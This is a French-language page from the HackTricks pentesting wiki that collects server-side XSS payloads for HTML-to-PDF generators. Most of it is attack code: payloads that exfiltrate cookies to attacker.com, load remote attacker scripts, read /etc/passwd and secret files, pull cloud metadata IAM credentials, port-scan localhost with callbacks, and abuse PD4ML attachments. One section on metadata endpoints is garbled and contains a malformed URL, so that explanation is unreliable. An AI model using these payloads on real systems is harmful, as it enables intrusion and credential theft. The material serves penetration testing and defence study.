hacktricks/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md
2023-06-03 13:10:46 +00:00

9.5 KiB

XSS côté serveur (PDF dynamique)

Si une page Web crée un PDF à l'aide d'une entrée contrôlée par l'utilisateur, vous pouvez essayer de tromper le bot qui crée le PDF en exécutant du code JS arbitraire.
Ainsi, si le bot créateur de PDF trouve certains types de balises HTML, il va les interpréter et vous pouvez abuser de ce comportement pour causer une XSS côté serveur.

Veuillez noter que les balises <script></script> ne fonctionnent pas toujours, vous devrez donc utiliser une méthode différente pour exécuter du JS (par exemple, en abusant de <img>).
De plus, notez que dans une exploitation régulière, vous pourrez voir/télécharger le PDF créé, vous pourrez donc voir tout ce que vous écrivez via JS (en utilisant document.write() par exemple). Mais si vous ne pouvez pas voir le PDF créé, vous devrez probablement extraire les informations en effectuant des demandes Web vers vous (aveugle).

Charges utiles

Découverte

<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>

<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">

SVG

N'importe lequel des payloads précédents ou suivants peut être utilisé à l'intérieur de ce payload SVG. Un iframe accédant au sous-domaine Burpcollab et un autre accédant au point de terminaison de métadonnées sont mis en exemple.

<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
    <g>
        <foreignObject width="800" height="500">
            <body xmlns="http://www.w3.org/1999/xhtml">
                <iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
                <iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
            </body>
        </foreignObject>
    </g>
</svg>


<svg width="100%" height="100%" viewBox="0 0 100 100"
     xmlns="http://www.w3.org/2000/svg">
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo"/>
  <script type="text/javascript">
    // <![CDATA[
      alert(1);
   // ]]>
  </script>
</svg>

Vous pouvez trouver beaucoup d'autres charges utiles SVG dans https://github.com/allanlw/svg-cheatsheet

Divulgation de chemin

<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>

Charger un script externe

La meilleure façon de profiter de cette vulnérabilité est d'abuser de celle-ci pour faire charger au bot un script que vous contrôlez localement. Ensuite, vous pourrez modifier la charge utile localement et faire en sorte que le bot la charge avec le même code à chaque fois.

<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>

Lire un fichier local

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
<script>
    xhzeem = new XMLHttpRequest();
    xhzeem.onload = function(){document.write(this.responseText);}
    xhzeem.onerror = function(){document.write('failed!')}
    xhzeem.open("GET","file:///etc/passwd");
    xhzeem.send();
</script>
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />

Obtenir la réponse d'une page web externe en tant que pièce jointe (points de terminaison de métadonnées)

Il est possible d'obtenir la réponse d'une page web externe en tant que pièce jointe en utilisant les points de terminaison de métadonnées. Cela peut être utile pour récupérer des informations sur une page web sans avoir à la visiter directement.

Pour ce faire, vous pouvez utiliser une requête HTTP GET pour accéder à l'URL de la page web externe et ajouter l'en-tête Content-Disposition avec la valeur attachment. Cela indique au navigateur de télécharger la réponse en tant que fichier plutôt que de l'afficher dans le navigateur.

Voici un exemple de requête HTTP GET pour récupérer la réponse d'une page web externe en tant que pièce jointe :

GET /metadata?url=http://www.example.com HTTP/1.1
Host: example.com
Content-Disposition: attachment

Dans cet exemple, nous utilisons le point de terminaison de métadonnées /metadata avec le paramètre url pour spécifier l'URL de la page web externe que nous voulons récupérer. Nous ajoutons également l'en-tête Content-Disposition avec la valeur attachment pour indiquer que la réponse doit être téléchargée en tant que fichier.

En utilisant cette technique, vous pouvez récupérer la réponse d'une page web externe en tant que fichier et l'analyser hors ligne pour détecter des vulnérabilités telles que les failles XSS (Cross-Site Scripting).

<link rel=attachment href="http://http://169.254.169.254/latest/meta-data/iam/security-credentials/">

Délai du bot

<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
    let time = 500;
    setInterval(()=>{
        let img = document.createElement("img");
        img.src = `https://attacker.com/ping?time=${time}ms`;
        time += 500;
    }, 500);
</script>
<img src="https://attacker.com/delay">

Scan de port

<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
    fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
        let img = document.createElement("img");
        img.src = `http://attacker.com/ping?port=${port}`;
    });
}

for(let i=0; i<1000; i++) {
    checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">

SSRF

Cette vulnérabilité peut être facilement transformée en SSRF (car vous pouvez faire en sorte que le script charge des ressources externes). Essayez donc de l'exploiter (lire des métadonnées ?).

Pièces jointes : PD4ML

Il existe des moteurs HTML 2 PDF qui permettent de spécifier des pièces jointes pour le PDF, comme PD4ML. Vous pouvez abuser de cette fonctionnalité pour attacher n'importe quel fichier local au PDF.
Pour ouvrir la pièce jointe, j'ai ouvert le fichier avec Firefox et double-cliqué sur le symbole trombone pour enregistrer la pièce jointe en tant que nouveau fichier.
Capturer la réponse PDF avec Burp devrait également afficher la pièce jointe en texte clair à l'intérieur du PDF.

{% code overflow="wrap" %}

<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>

{% endcode %}

Références

{% embed url="https://lbherrera.github.io/lab/h1415-ctf-writeup.html" %}

{% embed url="https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/" %}

{% embed url="https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥